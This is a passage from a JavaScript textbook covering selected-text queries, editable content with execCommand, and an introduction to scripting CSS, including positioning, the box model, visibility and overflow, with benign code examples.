15.10.3 Querying Selected Text

It is sometimes useful to be able to determine what text the user has selected within a document. You can do that with a function like this:

```
function getSelectedText() {
    if (window.getSelection)       // The HTML5 standard API
        return window.getSelection().toString();
    else if (document.selection)   // This is the IE-specific technique.
        return document.selection.createRange().text;
}
```

The standard `window.getSelection()` method returns a Selection object that describes the current selection as a sequence of one or more Range objects. Selection and Range define a fairly complex API that is not commonly used and is not documented in this book. The most important and widely implemented (except in IE) feature of the Selection object is that it has a `toString()` method that returns the plain text content of the selection.

IE defines a different API that is also left undocumented in this book. `document.selection` returns an object that represents the selection. The `createRange()` method of that object returns an IE-specific TextRange object, and the `text` property of that object contains the selected text.

Code like the above can be particularly useful in bookmarklets (§13.2.5.1) that operate on the selected text by looking up a word with a search engine or reference site. The following HTML link, for example, looks up the currently selected text in Wikipedia. When bookmarked, this link and the JavaScript URL it contains become a bookmarklet:

```
<a href="javascript: var q;
      if (window.getSelection) q = window.getSelection().toString();
      else if (document.selection) q = document.selection.createRange().text;
      void window.open('http://en.wikipedia.org/wiki/' + q);">
  Look Up Selected Text In Wikipedia
</a>
```

There is an incompatibility in the selection querying code shown above: the `getSelection()` method of the Window object does not return selected text if it is within an `<input>` or `<textarea>` form element: it only returns text selected from the body of the document itself. The IE `document.selection` property, on the other hand, returns selected text from anywhere in the document.

To obtain the selected text from a text input field or `<textarea>` element, use this code:

```
elt.value.substring(elt.selectionStart, elt.selectionEnd);
```

The `selectionStart` and `selectionEnd` properties are not supported in IE8 or earlier.

15.10.4 Editable Content

We've seen that HTML form elements include text fields and textarea elements that allow the user to enter and edit plain text. Following the lead of IE, all current web browsers also support simple HTML editing functionality: you may have seen this in use on pages (such as blog comment pages) that embed a rich-text editor that includes a toolbar of buttons for setting typographic styles (bold, italic), setting justification, and inserting images and links.

There are two ways to enable this editing functionality. Set the `contenteditable` HTML attribute of any tag or set the `contenteditable` JavaScript property on the corresponding Element to make the content of that element editable. When the user clicks on the

content inside that element, an insertion cursor will appear and the user's keystrokes will be inserted. Here is an HTML element that creates an editable region:

```
<div id="editor" contenteditable>
Click to edit
</div>
```

Browsers may support automatic spell-checking for form fields and `contenteditable` elements. In browsers that support this, checking may be on by default or off by default. Add the `spellcheck` attribute to explicitly turn checking on in browsers that support it. And use `spellcheck=false` to explicitly disable checking (when, for example, a `<textarea>` will display source code or other content with identifiers that do not appear in dictionaries).

You can also make an entire document editable by setting the `designMode` property of the Document object to the string "on". (Set it to "off" to revert to a read-only document.) The `designMode` property does not have a corresponding HTML attribute. You might make the document within an `<iframe>` editable like this (note the use of the `onLoad()` function from Example 13-5):

```
<iframe id="editor" src="about:blank"></iframe>     // Empty iframe
<script>
onLoad(function() {                                 // When document loads,
    var editor = document.getElementById("editor"); // get the iframe document
    editor.contentDocument.designMode = "on";       // and turn editing on.
});
</script>
```

All current browsers support `contenteditable` and `designMode`. They are less compatible, however, when it comes to their actual editing behavior. All browsers allow you to insert and delete text and move the cursor using the mouse and keyboard. In all browsers, the Enter key begins a new line, but different browsers produce different markup. Some begin a new paragraph and others simply insert a `<br/>` element.

Some browsers allow keyboard shortcuts such as Ctrl-B to convert the currently selected text to bold. In other browsers (such as Firefox), standard word processor shortcuts such as Ctrl-B and Ctrl-I are bound to other, browser-related functions and are not available to the text editor.

Browsers define a number of text-editing commands, most of which do not have keyboard shortcuts. To execute these commands, you instead use the `execCommand()` method of the Document object. (Note that this is a method of the Document, not of the element on which the `contenteditable` attribute is set. If a document contains more than one editable element, the command applies to whichever one holds the selection or the insertion cursor.) Commands executed by `execCommand()` are named by strings such as "bold", "subscript", "justifycenter," or "insertimage". The command name is the first argument to `execCommand()`. Some commands require a value argument—"createlink", for example, requires the hyperlink URL. In theory, if the second argument to `execCommand()` is `true`, the browser will automatically prompt the user for whatever value is required. For portability, however, you should prompt the user

Download from Wow! eBook <www.wowebook.com>

yourself, pass `false` as the second argument, and pass the value as the third argument. Here are two example functions that perform edits using `execCommand()`:

```
function bold() { document.execCommand("bold", false, null); }
function link() {
   var url = prompt("Enter link destination");
   if (url) document.execCommand("createlink", false, url);
}
```

The commands supported by `execCommand()` are typically triggered by buttons in a toolbar. A good UI will disable buttons when the command they trigger is not available. Pass a command name to `document.queryCommandSupported()` to find out if it is supported by the browser. Call `document.queryCommandEnabled()` to find out if the command can currently be used. (A command that expects a selected range of text, for example, might be disabled when there is no selection.) Some commands, such as the "bold" and "italic" commands, have a boolean state and can be on or off depending on the current selection or cursor location. These commands are typically represented with a toggle button in a toolbar. Use `document.queryCommandState()` to determine the current state of such a command. Finally, some commands, such as "fontname," have an associated value (a font family name). Query this value with `document.queryCommandValue()`. If the current selection includes text using two different font families, the value of "fontname" will be indeterminate. Use `document.queryCommandIndeterm()` to check for this case.

Different browsers implement different sets of editing commands. A few, such as "bold", "italic", "createlink", "undo," and "redo", are well supported.[6] The HTML5 draft current at the time of this writing defines the following commands. Because they are not universally supported, however, they are not documented here in any detail:

```
bold              insertLineBreak          selectAll
createLink        insertOrderedList        subscript
delete            insertUnorderedList      superscript
formatBlock       insertParagraph          undo
forwardDelete     insertText               unlink
insertImage       italic                   unselect
insertHTML        redo
```

If you need rich-text editing functionality for your web application, you will probably want to adopt a prebuilt solution that addresses the various differences between browsers. A number of such editor components can be found online.[7] It is worth noting that the editing functionality built into browsers is powerful enough to allow a user to enter small amounts of rich text, but it is too simple for any kind of serious document editing. In particular, note that the HTML markup generated by these editors is likely to be quite messy.

6. See *http://www.quirksmode.org/dom/execCommand.html* for a list of interoperable commands.

7. The YUI and Dojo frameworks include editor components. A list of other choices can be found at *http://en.wikipedia.org/wiki/Online_rich-text_editor*.

Once the user has edited the content of an element that has the `contenteditable` attribute set, you can use the `innerHTML` property to obtain the HTML markup of the edited content. What you do with that rich text is up to you. You might store it in a hidden form field and send it to a server by submitting the form. You might use the techniques described in Chapter 18 to send the edited text directly to a server. Or you might use the techniques shown in Chapter 20 to save the user's edits locally.

CHAPTER 16
Scripting CSS

Cascading Style Sheets (CSS) is a standard for specifying the visual presentation of HTML documents. CSS is intended for use by graphic designers: it allows a designer to precisely specify fonts, colors, margins, indentation, borders, and even the position of document elements. But CSS is also of interest to client-side JavaScript programmers because CSS styles can be scripted. Scripted CSS enables a variety of interesting visual effects: you can create animated transitions where document content "slides in" from the right, for example, or create an expanding and collapsing outline list in which the user can control the amount of information that is displayed. When first introduced, scripted visual effects like these were revolutionary. The JavaScript and CSS techniques that produced them were loosely referred to as Dynamic HTML or DHTML, a term that has since fallen out of favor.

CSS is a complex standard that, at the time of this writing, is undergoing active development. CSS is a book-length topic of its own and complete coverage is well beyond the scope of *this* book.[1] In order to understand CSS scripting, however, it is necessary to be familiar with CSS basics and with the most commonly scripted styles, so this chapter begins with a concise overview of CSS, followed by an explanation of key styles that are most amenable to scripting. After these two introductory sections, the chapter moves on to explain how to script CSS. §16.3 explains the most common and important technique: altering the styles that apply to individual document elements using the HTML `style` attribute. Although an element's `style` attribute can be used to set styles, it is not useful for querying an element's style. §16.4 explains how to query the *computed style* of any element. §16.5 explains how to alter many styles at once by altering the `style` attribute of an element. It is also possible, though less common, to script stylesheets directly, and §16.6 shows how to enable and disable stylesheets, alter the rules of existing stylesheets, and add new stylesheets.

1. But see *CSS: The Definitive Guide* by Eric Meyer (O'Reilly), for example.

16.1 Overview of CSS

There are many variables in the visual display of an HTML document: fonts, colors, spacing, and so on. The CSS standard enumerates these variables and calls them style *properties*. CSS defines properties that specify fonts, colors, margins, borders, background images, text alignment, element size, and element position. To define the visual appearance of HTML elements, we specify the value of CSS properties. To do this, follow the name of a property with a colon and a value:

```
font-weight: bold
```

In order to fully describe the visual presentation of an element, we usually need to specify the value of more than one property. When multiple name:value pairs are required, they are separated from one another by semicolons:

```
margin-left: 10%;      /* left margin is 10% of page width */
text-indent: .5in;     /* indent by 1/2 inch */
font-size: 12pt;       /* 12 point font size */
```

As you can see, CSS ignores comments between `/*` and `*/`. It does not support comments that begin with `//`, however.

There are two ways to associate a set of CSS property values with the HTML elements whose presentation they define. The first is by setting the `style` attribute of an individual HTML element. This is called the inline style:

```
<p style="margin: 20px; border: solid red 2px;">
This paragraph has increased margins and is
surrounded by a rectangular red border.
</p>
```

It is usually much more useful, however, to separate CSS styles from individual HTML elements and define them in a *stylesheet*. A stylesheet associates sets of style properties with sets of HTML elements that are described using *selectors*. A selector specifies or "selects" one or more elements of a document, based on element ID, class, or tag name, or on more specialized criteria. Selectors were introduced in §15.2.5, which also showed how to use `querySelectorAll()` to obtain the set of elements that match the selector.

The basic element of a CSS stylesheet is a style rule, which consists of a selector followed by a set of CSS properties and their values, enclosed in curly braces. A stylesheet can contain any number of style rules:

```
p {                      /* the selector "p" matches all <p> elements */
    text-indent: .5in;   /* indent the first line by .5 inches */
}

.warning {                    /* Any element with class="warning" */
    background-color: yellow; /* gets a yellow background */
    border: solid black 5px;  /* and a big black border */
}
```

A CSS stylesheet can be associated with an HTML document by enclosing it within `<style>` and `</style>` tags within the `<head>` of a document. Like the `<script>` element, the `<style>` element parses its content specially and does not treat it as HTML:

```
<html>
<head><title>Test Document</title>
<style>
body { margin-left: 30px; margin-right: 15px; background-color: #ffffff }
p { font-size: 24px; }
</style>
</head>
<body><p>Testing, testing</p>
</html>
```

When a stylesheet is to be used by more than one page on a website, it is usually better to store it in its own file, without any enclosing HTML tags. This CSS file can then be included in the HTML page. Unlike the `<script>` element, however, the `<style>` element does not have a `src` attribute. To include a stylesheet in an HTML page, use a `<link>` in the `<head>` of a document:

```
<head>
  <title>Test Document</title>
  <link rel="stylesheet" href="mystyles.css" type="text/css">
</head>
```

That, in a nutshell, is how CSS works. There are a few other points about CSS that are worth understanding, however, and the subsections that follow explain them.

16.1.1 The Cascade

Recall that the C in CSS stands for "cascading." This term indicates that the style rules that apply to any given element in a document can come from a "cascade" of different sources:

- The web browser's default stylesheet
- The document's stylesheets
- The `style` attribute of individual HTML elements

Styles from the `style` attribute override styles from stylesheets. And styles from a document's stylesheets override the browser's default styles, of course. The visual presentation of any given element may be a combination of style properties from all three sources. An element may even match more than one selector within a stylesheet, in which case the style properties associated with all of those selectors are applied to the element. (If different selectors define different values for the same style property, the value associated with the most specific selector overrides the value associated with less specific selectors, but the details are beyond the scope of this book.)

To display any document element, the web browser must combine the `style` attribute of that element with styles from all the matched selectors in the document stylesheets. The result of this computation is the actual set of style properties and values that are

used to display the element. This set of values is known as the *computed style* of the element.

16.1.2 CSS History

CSS is a relatively old standard. CSS1 was adopted in December 1996 and defines properties for specifying colors, fonts, margins, borders, and other basic styles. Browsers as old as Netscape 4 and Internet Explorer 4 include substantial support for CSS1. The second edition of the standard, CSS2, was adopted in May 1998; it defines a number of more advanced features, most notably support for absolute positioning of elements. CSS2.1 clarifies and corrects CSS2, and it removes features that browser vendors never actually implemented. Current browsers have essentially complete support for CSS2.1, although versions of IE prior to IE8 have notable omissions.

Work continues on CSS. For version 3, the CSS specification has been broken into various specialized modules that are going through the standardization process separately. You can find the CSS specifications and working drafts at *http://www.w3.org/Style/CSS/current-work*.

16.1.3 Shortcut Properties

Certain style properties that are commonly used together can be combined using special shortcut properties. For example, the `font-family`, `font-size`, `font-style`, and `font-weight` properties can all be set at once using a single `font` property with a compound value:

```
font: bold italic 24pt helvetica;
```

Similarly, the `border`, `margin`, and `padding` properties are shortcuts for properties that specify borders, margins, and padding (space between the border and element content) for each of the individual sides of an element. For example, instead of using the `border` property, you can use `border-left`, `border-right`, `border-top`, and `border-bottom` properties to specify the border of each side separately. In fact, each of these properties is itself a shortcut. Instead of specifying `border-top`, you can specify `border-top-color`, `border-top-style`, and `border-top-width`.

16.1.4 Nonstandard Properties

When browser vendors implement nonstandard CSS properties, they prefix the property names with a vendor-specific string. Firefox uses `moz-`, Chrome uses `-webkit-`, and IE uses `-ms-`. Browser vendors do this even when implementing properties that are intended for future standardization. One example is the `border-radius` property, which specifies rounded corners for elements. This was implemented experimentally in Firefox 3 and Safari 4 using prefixes. Once the standard had matured sufficiently, Firefox 4 and Safari 5 removed the prefix and supported `border-radius` directly. (Chrome and Opera have supported it for a long time with no prefix. IE9 also supports it without a prefix, but IE8 did not support it, even with a prefix.)

When working with CSS properties that have different names in different browsers, you may find it helpful to define a class for that property:

```
.radius10 {
  border-radius: 10px;          /* for current browsers */
  -moz-border-radius: 10px;     /* for Firefox 3.x */
  -webkit-border-radius: 10px;  /* For Safari 3.2 and 4 */
}
```

With a class like this defined, you can add "radius10" to the `class` attribute of any element to give it a border radius of 10 pixels.

16.1.5 CSS Example

Example 16-1 is an HTML file that defines and uses a stylesheet. It demonstrates tag name, class, and ID-based selectors, and also has an example of an inline style defined with the `style` attribute. Figure 16-1 shows how this example is rendered in a browser.

Figure 16-1. A web page styled with CSS

Example 16-1. Defining and using Cascading Style Sheets

```
<head>
<style type="text/css">
/* Specify that headings display in blue italic text. */
h1, h2 { color: blue; font-style: italic }

/*
```

```
 * Any element of class="WARNING" displays in big bold text with large margins
 * and a yellow background with a fat red border.
 */
.WARNING {
          font-weight: bold;
          font-size: 150%;
          margin: 0 1in 0 1in; /* top right bottom left */
          background-color: yellow;
          border: solid red 8px;
          padding: 10px;       /* 10 pixels on all 4 sides */
}

/*
 * Text within an h1 or h2 heading within an element with class="WARNING"
 * should be centered, in addition to appearing in blue italics.
 */
.WARNING h1, .WARNING h2 { text-align: center }

/* The single element with id="special" displays in centered uppercase. */
#special {
      text-align: center;
      text-transform: uppercase;
}
</style>
</head>
<body>
<h1>Cascading Style Sheets Demo</h1>

<div class="WARNING">
<h2>Warning</h2>
This is a warning!
Notice how it grabs your attention with its bold text and bright colors.
Also notice that the heading is centered and in blue italics.
</div>

<p id="special">
This paragraph is centered<br>
and appears in uppercase letters.<br>
<span style="text-transform: none">
Here we explicitly use an inline style to override the uppercase letters.
</span>
</p>
```

Cutting-Edge CSS

As I write this chapter, CSS is in the midst of a revolution, with browser vendors implementing powerful new styles such as `border-radius`, `text-shadow`, `box-shadow`, and `column-count`. Another revolutionary new feature of CSS is *web fonts*: the ability to download and use custom fonts with a CSS `@font-face` rule. (See *http://code.google.com/webfonts* for a selection of fonts free for use on the Web and an easy mechanism for downloading them from Google's servers.)

Another revolutionary development in CSS is CSS Transitions. This is a draft specification that can automatically turn any scripted change to a CSS style into a smoothly

animated transition. (When widely implemented, it will largely obviate the need for CSS animation code like that shown in §16.3.1.) CSS Transitions is implemented in current browsers other than IE, but its style properties are still prefixed with vendor-specific strings. CSS Animations is a related proposal that uses CSS Transitions as a starting point for defining more complex animation sequences. CSS Animations are currently only implemented by Webkit browsers. Neither transitions nor animations are covered in this chapter, but they are technologies that you, as a web developer, should be aware of.

Another CSS draft that web developers should be aware of is CSS Transforms, which allows arbitrary 2D affine transforms (rotation, scaling, translation, or any combination expressed as a matrix) to be applied to any element. All current browsers (including IE9 and later) support the draft, with vendor prefixes. Safari even supports an extension that allows 3D transformations, but it is unclear whether other browsers will follow their lead.

16.2 Important CSS Properties

For client-side JavaScript programmers, the most important features of CSS are the properties that specify the visibility, size, and precise position of individual elements of a document. Other CSS properties allow you to specify stacking order, transparency, clipping region, margins, padding, borders, and colors. In order to script CSS, it is important to understand how these style properties work. They are summarized in Table 16-1 and documented in more detail in the sections that follow.

Table 16-1. Important CSS style properties

Property	Description
`position`	Specifies the type of positioning applied to an element
`top`, `left`	Specify the position of the top and left edges of an element
`bottom`, `right`	Specify the position of the bottom and right edges of an element
`width`, `height`	Specify the size of an element
`z-index`	Specifies the "stacking order" of an element relative to any overlapping elements; defines a third dimension of element positioning
`display`	Specifies how and whether an element is displayed
`visibility`	Specifies whether an element is visible
`clip`	Defines a "clipping region" for an element; only portions of the element within this region are displayed
`overflow`	Specifies what to do if an element is bigger than the space allotted for it
`margin`, `border`, `padding`	Specify spacing and borders for an element.
`background`	Specifies the background color or image of an element.
`opacity`	Specifies how opaque (or translucent) an element is. This is a CSS3 property, supported by some browsers. A working alternative exists for IE.

16.2.1 Positioning Elements with CSS

The CSS `position` property specifies the type of positioning applied to an element. Here are the four possible values for this property:

`static`
: This is the default value and specifies that the element is positioned according to the normal flow of document content (for most Western languages, this is left to right and top to bottom). Statically positioned elements cannot be positioned with `top`, `left`, and other properties. To use CSS positioning techniques with a document element, you must first set its `position` property to one of the other three values.

`absolute`
: This value allows you to specify the position of an element relative to its containing element. Absolutely positioned elements are positioned independently of all other elements and are not part of the flow of statically positioned elements. An absolutely positioned element is positioned either relative to its nearest positioned ancestor or relative to the document itself.

`fixed`
: This value allows you to specify an element's position with respect to the browser window. Elements with `fixed` positioning are always visible and do not scroll with the rest of the document. Like absolutely positioned elements, fixed-position elements are independent of all others and are not part of the document flow. Fixed positioning is supported in most modern browsers but is not available in IE6.

`relative`
: When the `position` property is set to `relative`, an element is laid out according to the normal flow, and its position is then adjusted relative to its position in the normal flow. The space allocated for the element in the normal document flow remains allocated for it, and the elements on either side of it do not close up to fill in that space, nor are they "pushed away" from the new position of the element.

Once you have set the `position` property of an element to something other than `static`, you can specify the position of that element with some combination of the `left`, `top`, `right`, and `bottom` properties. The most common positioning technique uses the `left` and `top` properties to specify the distance from the left edge of the containing element (usually the document itself) to the left edge of the element and the distance from the top edge of the container to the top edge of the element. For example, to place an element 100 pixels from the left and 100 pixels from the top of the document, you can specify CSS styles in a `style` attribute as follows:

```
<div style="position: absolute; left: 100px; top: 100px;">
```

If an element uses absolute positioning, its `top` and `left` properties are interpreted relative to the closest ancestor element that has its `position` property set to something other than `static`. If an absolutely positioned element has no positioned ancestor, the `top` and `left` properties are measured in document coordinates—they are offsets from

the top-left corner of the document. If you wish to absolutely position an element relative to a container that is part of the normal document flow, use `position:relative` for the container and specify a `top` and `left` position of `0px`. This makes the container dynamically positioned but leaves it at its normal place in the document flow. Any absolutely positioned children are then positioned relative to the container position.

Although it is most common to specify the position of the upper-left corner of an element with `left` and `top`, you can also use `right` and `bottom` to specify the position of the bottom and right edges of an element relative to the bottom and right edges of the containing element. For example, to position an element so that its bottom-right corner is at the bottom-right of the document (assuming it is not nested within another dynamic element), use the following styles:

```
position: absolute; right: 0px; bottom: 0px;
```

To position an element so that its top edge is 10 pixels from the top of the window and its right edge is 10 pixels from the right of the window, and so that it does not scroll with the document, you might use these styles:

```
position: fixed; right: 10px; top: 10px;
```

In addition to the position of elements, CSS allows you to specify their size. This is most commonly done by providing values for the `width` and `height` style properties. For example, the following HTML creates an absolutely positioned element with no content. Its `width`, `height`, and `background-color` properties make it appear as a small blue square:

```
<div style="position: absolute; top: 10px; left: 10px;
            width: 10px; height: 10px; background-color: blue">
</div>
```

Another way to specify the width of an element is to specify a value for both the `left` and `right` properties. Similarly, you can specify the height of an element by specifying both `top` and `bottom`. If you specify a value for `left`, `right`, and `width`, however, the `width` property overrides the `right` property; if the height of an element is overconstrained, `height` takes priority over `bottom`.

Bear in mind that it is not necessary to specify the size of every dynamic element. Some elements, such as images, have an intrinsic size. Furthermore, for dynamic elements that contain text or other flowed content, it is often sufficient to specify the desired width of the element and allow the height to be determined automatically by the layout of the element's content.

CSS requires position and dimension properties to be specified with a unit. In the examples above, the position and size properties were specified with the suffix "px," which stands for pixels. You can also use inches ("in"), centimeters ("cm"), points ("pt"), and ems ("em"; a measure of the line height for the current font).

Instead of specifying absolute positions and sizes using the units shown above, CSS also allows you to specify the position and size of an element as a percentage of the size of the containing element. For example, the following HTML creates an empty element with a black border that is half as wide and half as high as the containing element (or the browser window) and centered within that element:

```
<div style="position: absolute; left: 25%; top: 25%; width: 50%; height: 50%;
            border: 2px solid black">
</div>
```

16.2.1.1 The third dimension: z-index

You've seen that the `left`, `top`, `right`, and `bottom` properties can specify the X and Y coordinates of an element within the two-dimensional plane of the containing element. The `z-index` property defines a kind of third dimension: it allows you to specify the stacking order of elements and indicate which of two or more overlapping elements is drawn on top of the others. The `z-index` property is an integer. The default value is zero, but you may specify positive or negative values. When two or more elements overlap, they are drawn in order from lowest to highest `z-index`; the element with the highest `z-index` appears on top of all the others. If overlapping elements have the same `z-index`, they are drawn in the order in which they appear in the document so that the last overlapping element appears on top.

Note that `z-index` stacking applies only to sibling elements (i.e., elements that are children of the same container). If two elements that are not siblings overlap, setting their individual `z-index` properties does not allow you to specify which one is on top. Instead, you must specify the `z-index` property for the two sibling containers of the two overlapping elements.

Nonpositioned elements (i.e., elements with default `position:static` positioning) are always laid out in a way that prevents overlaps, so the `z-index` property does not apply to them. Nevertheless, they have a default `z-index` of zero, which means that positioned elements with a positive `z-index` appear on top of the normal document flow and positioned elements with a negative `z-index` appear beneath the normal document flow.

16.2.1.2 CSS positioning example: Shadowed text

The CSS3 specification includes a `text-shadow` property to produce drop-shadow effects under text. It is supported by a number of current browsers, but you can use CSS positioning properties to achieve a similar effect, as long as you are willing to repeat and restyle the text to produce a shadow:

```
<!-- The text-shadow property produces shadows automatically -->
<span style="text-shadow: 3px 3px 1px #888">Shadowed</span>

<!-- Here's how we can produce a similar effect with positioning. -->
<span style="position:relative;">
  Shadowed     <!-- This is the text that casts the shadow. -->
```

```
  <span style="position:absolute; top:3px; left:3px; z-index:-1; color: #888">
    Shadowed   <!-- This is the shadow -->
  </span>
</span>
```

The text to be shadowed is enclosed in a relatively positioned `<span>` element. There are no position properties set, so the text appears at its normal position in the flow. The shadow is in an absolutely positioned `<span>` inside (and therefore positioned relatively to) the relatively positioned `<span>`. The `z-index` property ensures that the shadow appears underneath the text that produces it.

16.2.2 Borders, Margins and Padding

CSS allows you to specify borders, margins, and padding around any element. The border of an element is a rectangle (or rounded rectangle in CSS3) drawn around (or partially around) it. CSS properties allow you to specify the style, color, and thickness of the border:

```
border: solid black 1px; /* border is drawn with a solid, black 1-pixel line */
border: 3px dotted red;  /* border is drawn in 3-pixel red dots */
```

It is possible to specify the border width, style, and color using individual CSS properties, and it is also possible to specify the border for individual sides of an element. To draw a line beneath an element, for example, simply specify its `border-bottom` property. It is even possible to specify the width, style, or color of a single side of an element with properties such as `border-top-width` and `border-left-color`.

In CSS3, you can round all corners of a border with the `border-radius` property, and you can round individual corners with more explicit property names. For example:

```
border-top-right-radius: 50px;
```

The `margin` and `padding` properties both specify blank space around an element. The important difference is that `margin` specifies space outside the border, between the border and adjacent elements, and `padding` specifies space inside the border, between the border and the element content. A margin provides visual space between a (possibly bordered) element and its neighbors in the normal document flow. Padding keeps element content visually separated from its border. If an element has no border, padding is typically not necessary. If an element is dynamically positioned, it is not part of the normal document flow, and its margins are irrelevant.

You can specify the margin and padding of an element with the `margin` and `padding` properties:

```
margin: 5px; padding: 5px;
```

You can also specify margins and paddings for individual sides of an element:

```
margin-left: 25px;
padding-bottom: 5px;
```

Or you can specify margin and padding values for all four edges of an element with the `margin` and `padding` properties. You specify the top values first and then proceed

clockwise: top, right, bottom, and left. For example, the following code shows two equivalent ways to set different padding values for each of the four sides of an element:

```
padding: 1px 2px 3px 4px;
/* The previous line is equivalent to the following lines. */
padding-top: 1px;
padding-right: 2px;
padding-bottom: 3px;
padding-left: 4px;
```

The `margin` property works in the same way.

16.2.3 The CSS Box Model and Positioning Details

The `margin`, `border`, and `padding` style properties described above are not properties that you are likely to script very frequently. The reason that they are mentioned here is that margins, borders, and padding are part of the CSS *box model*, and you have to understand the box model in order to truly understand the CSS positioning properties.

Figure 16-2 illustrates the CSS box model and visually explains the meaning of the `top`, `left`, `width`, and `height` for elements that have borders and padding.

Figure 16-2. The CSS box model: borders, padding, and positioning properties

Figure 16-2 shows an absolutely positioned element nested inside a positioned container element. Both the container and the contained elements have borders and padding, and the figure illustrates the CSS properties that specify padding and border width for each side of the container element. Notice that no margin properties are shown: margins aren't relevant to absolutely positioned elements.

Figure 16-2 contains other, more important information as well. First, `width` and `height` specify the size of an element's content area only; they do not include any

additional space required for the element's padding or border (or margins). To determine the full on-screen size of an element with a border, you must add the left and right padding and left and right border widths to the element width, and you must add the top and bottom padding and top and bottom border widths to the element's height.

Second, the `left` and `top` properties specify the distance from the inside of the container's border to the outside of the positioned element's border. These properties do not measure from the upper-left corner of the content area of the container, but from the upper-left corner of the container's padding. Similarly, the `right` and `bottom` properties measure from the lower-right corner of the padding.

Here's an example that might make this clearer. Suppose you've created a dynamically positioned container element that has 10 pixels of padding all the way around its content area and a 5-pixel border all the way around the padding. Now suppose you dynamically position a child element inside this container. If you set the `left` property of the child to "0 px", you'll discover that the child is positioned with its left edge right up against the inner edge of the container's border. With this setting, the child overlaps the container's padding, which presumably was supposed to remain empty (since that is the purpose of padding). If you want to position the child element in the upper left corner of the container's content area, you should set both the `left` and `top` properties to "10px".

16.2.3.1 The border-box model and the box-sizing property

The standard CSS box model specifies that the `width` and `height` style properties give the size of the content area and do not include padding and borders. We might call this box model the "content-box model." There are exceptions to the content-box model in old versions of IE and also in new versions of CSS. Before IE6, and when IE6, 7, or 8 displays a page in "quirks mode" (when the page has no `<!DOCTYPE>` or has an insufficiently strict doctype), the `width` and `height` properties do include the padding and border widths.

IE's behavior is a bug, but IE's nonstandard box model is often quite useful. Recognizing this, CSS3 introduces a `box-sizing` property. The default value is `content-box`, which specifies the standard box model described above. If you instead specify `box-sizing:border-box`, the browser will use the IE box model for that element, and the `width` and `height` properties will include border and padding. The `border-box` model is particularly useful when you want to specify the overall size of an element as a percentage but also want to specify the border and padding size in pixels:

```
<div style="box-sizing:border-box; width: 50%;
            padding: 10px; border: solid black 2px;">
```

The box-sizing property is supported by all current browsers but is not yet universally implemented without a prefix. In Chrome and Safari, use -webkit-box-sizing. In Firefox, use -moz-box-sizing. In Opera and IE8 and later, you can use box-sizing without any prefix.

A future CSS3 alternative to the border-box model is the use of calculated values for box dimensions:

```
<div style="width: calc(50%-12px); padding: 10px; border: solid black 2px;">
```

Calculated CSS values with calc() are supported in IE9 and in Firefox 4 (as -moz-calc()).

16.2.4 Element Display and Visibility

Two CSS properties affect the visibility of a document element: visibility and display. The visibility property is simple: when the property is set to the value hidden, the element is not shown; when it is set to the value visible, the element is shown. The display property is more general and is used to specify the type of display an item receives. It specifies whether an element is a block element, an inline element, a list item, or so on. When display is set to none, however, the affected element is not displayed, or even laid out, at all.

The difference between the visibility and display style properties has to do with their effect on elements that use static or relative positioning. For an element that appears in the normal layout flow, setting visibility to hidden makes the element invisible but reserves space for it in the document layout. Such an element can be repeatedly hidden and shown without changing the document layout. If an element's display property is set to none, however, no space is allocated for it in the document layout; elements on either side of it close up as if it were not there. The display property is useful, for example, when creating expanding and collapsing outlines.

visibility and display have equivalent effects when used with absolute- or fixed-position elements because these elements are not part of the document layout. The visibility property is generally preferred for hiding and showing positioned elements, however.

Note that it doesn't make much sense to use visibility or display to make an element invisible unless you are going to use JavaScript to dynamically set these properties and make the element visible at some point! We'll see how to do this later in the chapter.

16.2.5 Color, Transparency, and Translucency

You can specify the color of text contained in a document element with the CSS color property. And you can specify the background color of any element with the background-color property. Earlier, we saw that you can specify the color of an element's border with border-color or with the shortcut property border.

The discussion of borders included examples that specified border colors using the English names of common colors such as "red" and "black". CSS supports a number of these English color names, but the more general syntax for specifying colors in CSS is to use hexadecimal digits to specify the red, green, and blue components of a color. You can use either one or two digits per component. For example:

```
#000000      /* black */
#fff         /* white */
#f00         /* bright red */
#404080      /* dark unsaturated blue */
#ccc         /* light gray */
```

CSS3 also defines syntaxes for specifying colors in the RGBA color space (red, green, and blue values plus an *alpha* value that specifies the transparency of the color). RGBA is supported by all modern browsers except IE, and support is expected in IE9. CSS3 also defines support for HSL (hue-saturation-value) and HSLA color specifications. Again, these are supported by Firefox, Safari, and Chrome, but not IE.

CSS allows you to specify the exact position, size, background color, and border color of elements; this gives you a rudimentary graphics capability for drawing rectangles and (when the height and width are reduced) horizontal and vertical lines. The last edition of this book included a bar chart example using CSS graphics, but it has been replaced in this book by extended coverage of the `<canvas>` element. (See Chapter 21 for more on scripted client-side graphics.)

In addition to the `background-color` property, you can also specify images to be used as the background of an element. The `background-image` property specifies the image to use, and the `background-attachment`, `background-position`, and `background-repeat` properties specify further details about how this image is drawn. The shortcut property `background` allows you to specify these properties together. You can use these background image properties to create interesting visual effects, but those are beyond the scope of this book.

It is important to understand that if you do not specify a background color or image for an element, that element's background is usually transparent. For example, if you absolutely position a `<div>` over some existing text in the normal document flow, that text will, by default, show through the `<div>` element. If the `<div>` contains its own text, the letters may overlap and become an illegible jumble. Not all elements are transparent by default, however. Form elements don't look right with a transparent background, for example, and elements such as `<button>` have a default background color. You can override this default with the `background-color` property, and you can even explicitly set it to "transparent" if you desire.

The transparency we've been discussing so far is all-or-none: an element either has a transparent background or an opaque background. It is also possible to specify that an element (both its background and its foreground content) is translucent. (See Figure 16-3 for an example.) You do this with the CSS3 `opacity` property. The value of this property is a number between 0 and 1, where 1 means 100 percent opaque (the

default) and 0 means 0% opaque (or 100% transparent). The `opacity` property is supported by all current browsers except IE. IE provides a work-alike alternative through its IE-specific `filter` property. To make an element 75 percent opaque, you can use the following CSS styles:

```
opacity: .75;              /* standard CSS3 style for transparency */
filter: alpha(opacity=75);  /* transparency for IE; note no decimal point */
```

16.2.6 Partial Visibility: overflow and clip

The `visibility` property allows you to completely hide a document element. The `overflow` and `clip` properties allow you to display only part of an element. The `overflow` property specifies what happens when the content of an element exceeds the size specified (with the `width` and `height` style properties, for example) for the element. The allowed values and their meanings for this property are as follows:

`visible`
: Content may overflow and be drawn outside of the element's box if necessary. This is the default.

`hidden`
: Content that overflows is clipped and hidden so that no content is ever drawn outside the region defined by the size and positioning properties.

`scroll`
: The element's box has permanent horizontal and vertical scrollbars. If the content exceeds the size of the box, the scrollbars allow the user to scroll to view the extra content. This value is honored only when the document is displayed on a computer screen; when the document is printed on paper, for example, scrollbars obviously do not make sense.

`auto`
: Scrollbars are displayed only when content exceeds the element's size rather than being permanently displayed.

